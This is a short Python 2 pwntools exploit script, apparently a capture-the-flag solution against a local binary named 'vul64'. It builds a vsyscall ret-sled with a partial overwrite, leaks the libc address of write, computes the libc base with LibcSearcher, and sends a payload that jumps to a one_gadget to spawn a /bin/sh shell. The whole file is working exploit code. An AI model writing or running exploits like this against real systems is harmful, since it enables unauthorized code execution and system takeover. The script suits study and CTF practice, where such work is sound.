35 lines
806 B
Python
35 lines
806 B
Python
#!/usr/bin/python2
|
|
# -*- coding:utf-8 -*-
|
|
|
|
from pwn import *
|
|
from LibcSearcher import *
|
|
import os
|
|
import time
|
|
import struct
|
|
context(arch = "amd64",os = "linux", log_level = "debug")
|
|
|
|
# context.log_level = "debug"
|
|
p = process('./vul64')
|
|
elf = ELF('./vul64')
|
|
|
|
#gdb.attach(p, "break *0x0000555555554a2b")
|
|
|
|
#time.sleep(10)
|
|
ret_addr = 0xffffffffff600400
|
|
|
|
with open('input.txt', 'w') as f:
|
|
f.write(p64(ret_addr) * 30 + '\x2c')
|
|
|
|
p.send(p64(ret_addr) * 30 + '\x2c')
|
|
p.recvuntil("I have a gift for yoooou\n")
|
|
write_libc = u64(p.recv(8))
|
|
p.recvuntil("Want my flag? Keep going!\n")
|
|
|
|
libc = LibcSearcher('write', write_libc)
|
|
libc_base = write_libc - libc.dump('write')
|
|
system_libc = libc_base + 0x4f3d5 # one_gadget Shift
|
|
|
|
|
|
p.send("/bin/sh\x00" + '0' * 0x2f + p32(0x44) + p64(system_libc) + '\n')
|
|
p.interactive()
|